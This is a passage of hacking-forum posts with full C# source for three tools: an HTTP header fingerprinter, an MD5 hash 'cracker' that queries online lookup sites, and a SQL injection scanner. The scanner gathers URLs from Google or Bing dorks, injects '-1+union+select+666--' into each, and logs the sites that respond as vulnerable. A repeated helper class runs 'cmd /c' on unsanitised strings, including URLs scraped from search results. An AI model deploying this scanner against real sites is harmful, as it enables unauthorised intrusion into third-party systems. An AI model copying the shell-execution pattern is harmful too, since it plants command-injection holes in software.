                code = dividir.Host;
            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si quieren lo puede bajar de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#108
C# - VB.NET / [C#] HTTP FingerPrinting 0.2
Julio 25, 2014, 02:14:35 PM
Un simple programa en C# para hacer HTTP FingerPrinting.

Una imagen :



Los codigos :

Form1.cs

Código: csharp

// HTTP FingerPrinting 0.2
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

namespace HTTP_FingerPrinting
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {

            DH_Tools tools = new DH_Tools();

            toolStripStatusLabel1.Text = "[+] Searching ...";
            this.Refresh();

            richTextBox1.Clear();
            richTextBox1.AppendText(tools.httpfinger(textBox1.Text));

            toolStripStatusLabel1.Text = "[+] Finished";
            this.Refresh();

        }
    }
}

// The End ?


DH_Tools.cs

Código: csharp

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace HTTP_FingerPrinting
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string respondecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
                code = dividir.Host;
            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#109
C# - VB.NET / [C#] SQLI Scanner 0.4
Julio 17, 2014, 08:36:19 PM
Un simple programa en C# para buscar paginas vulnerables a SQLI usando Google o Bing.

Una imagen :



Los codigos :

Form1.cs

Código: csharp

// SQLI Scanner 0.4
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Text.RegularExpressions;

namespace SQLI_Scanner
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {

            listBox1.Items.Clear();

            DH_Tools tools = new DH_Tools();
            funciones funcion = new funciones();

            toolStripStatusLabel1.Text = "[+] Searching ...";
            this.Refresh();

            List<string> urls = new List<string> { };

            if (comboBox1.Text == "Bing")
            {
                urls = funcion.bingsearch(textBox1.Text, textBox2.Text);
                urls = tools.repes(tools.cortar(urls));
            }
            else
            {
                urls = funcion.googlesearch(textBox1.Text, textBox2.Text);
                urls = tools.repes(tools.cortar(urls));
            }

            foreach (string url in urls)
            {
                listBox1.Items.Add(url);
            }

            if (listBox1.Items.Count == 0)
            {
                MessageBox.Show("Not Found");
            }

            toolStripStatusLabel1.Text = "[+] Search finished";
            this.Refresh();
        }

        private void button2_Click(object sender, EventArgs e)
        {

            toolStripStatusLabel1.Text = "[+] Scanning ...";
            this.Refresh();

            listBox2.Items.Clear();

            DH_Tools tools = new DH_Tools();

            String url = "";
            String code = "";

            List<string> urls_to_scan = new List<string> { };

            foreach (object write in listBox1.Items)
            {
                urls_to_scan.Add(write.ToString());
            }

            if (listBox1.Items.Count == 0)
            {
                MessageBox.Show("Not Found");
            }
            else
            {

                foreach (string page in urls_to_scan)
                {

                    toolStripStatusLabel1.Text = "[+] Checking : "+page;
                    this.Refresh();

                    code = tools.toma(page + "-1+union+select+666--");

                    Match regex = Regex.Match(code, "The used SELECT statements have a different number of columns", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        listBox2.Items.Add(page);
                        tools.savefile("sqli-logs.txt", page);
                    }
                }

                if (listBox2.Items.Count == 0)
                {
                    MessageBox.Show("Not Found");
                }

            }

            toolStripStatusLabel1.Text = "[+] Scan Finished";
            this.Refresh();

        }

        private void button3_Click(object sender, EventArgs e)
        {
            DH_Tools tools = new DH_Tools();
            if (File.Exists("sqli-logs.txt"))
            {
                tools.console("sqli-logs.txt");
            }
            else
            {
                MessageBox.Show("Logs not found");
            }
        }

        private void button4_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void listBox1_DoubleClick(object sender, EventArgs e)
        {
            DH_Tools tools = new DH_Tools();
            tools.console("start "+listBox1.SelectedItem.ToString());
           
        }

        private void listBox2_DoubleClick(object sender, EventArgs e)
        {
            DH_Tools tools = new DH_Tools();
            tools.console("start " + listBox2.SelectedItem.ToString());
        }
    }
}

// The End ?


funciones.cs

Código: csharp

// Funciones para SQLI Scanner 0.4
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Text.RegularExpressions;
using System.Web;

namespace SQLI_Scanner
{
    class funciones
    {
        public List<String> bingsearch(string dork, string cantidad)
        {

            String code = "";
            Int16 num = 0;

            //String dork = "index.php+id";
            //String cantidad = "20";

            String url_cortar = "";
            String url_final = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            List<string> urls = new List<string> { };

            for (num = 10; num <= Convert.ToInt16(cantidad); num += 10)
            {

                code = nave.DownloadString("http://www.bing.com/search?q=" + dork + "&first=" + num);

                Match regex1 = Regex.Match(code, "<h3><a href=\"(.*?)\"", RegexOptions.IgnoreCase);
                while (regex1.Success)
                {
                    url_cortar = regex1.Groups[1].Value;
                    Match regex2 = Regex.Match(url_cortar, "(.*?)=(.*?)", RegexOptions.IgnoreCase);
                    if (regex2.Success)
                    {
                        url_final = regex2.Groups[1].Value + "=";
                        urls.Add(url_final);
                    }

                    regex1 = regex1.NextMatch();

                }

            }

            return urls;

        }

        public List<String> googlesearch(string dork, string paginas)
        {

            String code = "";
            Int16 num = 0;
            String lineafinale = "";
            String leer = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            List<string> urlsgoogle = new List<string> { };

            for (num = 10; num <= Convert.ToInt16(paginas); num += 10)
            {
                code = nave.DownloadString("http://www.google.com/search?hl=&q=" + dork + "&start=" + num);

                Match regex = Regex.Match(code, "(?<=\"r\"><. href=\")(.+?)\"", RegexOptions.IgnoreCase);
                while (regex.Success)
                {
                    leer = Uri.UnescapeDataString(regex.Groups[1].Value);
                    Match cortada = Regex.Match(leer, @"\/url\?q\=(.*?)\&amp\;", RegexOptions.IgnoreCase);
                    if (cortada.Success)
                    {
                        lineafinale = cortada.Groups[1].Value;
                    }
                    else
                    {
                        lineafinale = leer;
                    }

                    urlsgoogle.Add(lineafinale);

                    regex = regex.NextMatch();
                }


            }

            return urlsgoogle;

        }
    }
}

// The End ?


DH_Tools.cs

Código: csharp

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace SQLI_Scanner
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string respondecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
                code = dividir.Host;
            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#110
C# - VB.NET / [C#] MD5 Cracker 0.3
Julio 10, 2014, 03:39:23 PM
Version en C# de este programa para crackear un MD5 usando el servicio de diversas paginas online.

Una imagen :



Los codigos :

Código: csharp

// MD5 Cracker 0.3
// (C) Doddy Hackman 2014
// Credits :
// Based in ->
// http://md5online.net
// http://md5decryption.com
// http://md5.my-addr.com
// Thanks to aeonhack for the Theme Skin

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Text.RegularExpressions;

namespace md5cracker
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void droneButton2_Click(object sender, EventArgs e)
        {
            toolStripStatusLabel1.Text = "[+] Cracking ...";
            this.Refresh();

            //202cb962ac59075b964b07152d234b70

            string md5 = textBox1.Text;
            string rta = "";
            string code = "";

            DH_Tools tools = new DH_Tools();
            code = tools.tomar("http://md5online.net/index.php", "pass=" + md5 + "&option=hash2text&send=Submit");

            Match regex = Regex.Match(code, "<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>", RegexOptions.IgnoreCase);
            if (regex.Success)
            {
                rta = regex.Groups[2].Value;

            }
            else
            {
                code = tools.tomar("http://md5decryption.com/index.php", "hash=" + md5 + "&submit=Decrypt It!");

                regex = Regex.Match(code, "Decrypted Text: </b>(.*?)</font>", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    rta = regex.Groups[1].Value;

                }
                else
                {
                    code = tools.tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php", "md5=" + md5);
                    regex = Regex.Match(code, "<span class='middle_title'>Hashed string</span>: (.*?)</div>", RegexOptions.IgnoreCase);
                    if (regex.Success)
                    {
                        rta = regex.Groups[1].Value;

                    }
                    else
                    {
                        rta = "Not Found";
                    }

                }

            }

            textBox2.Text = rta;

            toolStripStatusLabel1.Text = "[+] Finished";
            this.Refresh();

        }

        private void droneButton3_Click(object sender, EventArgs e)
        {
            Clipboard.SetText(textBox2.Text);

            toolStripStatusLabel1.Text = "[+] Copied";
            this.Refresh();
        }

        private void droneButton1_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

    }
}

// The End ?


Código: csharp

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace md5cracker
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string respondecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
                code = dividir.Host;
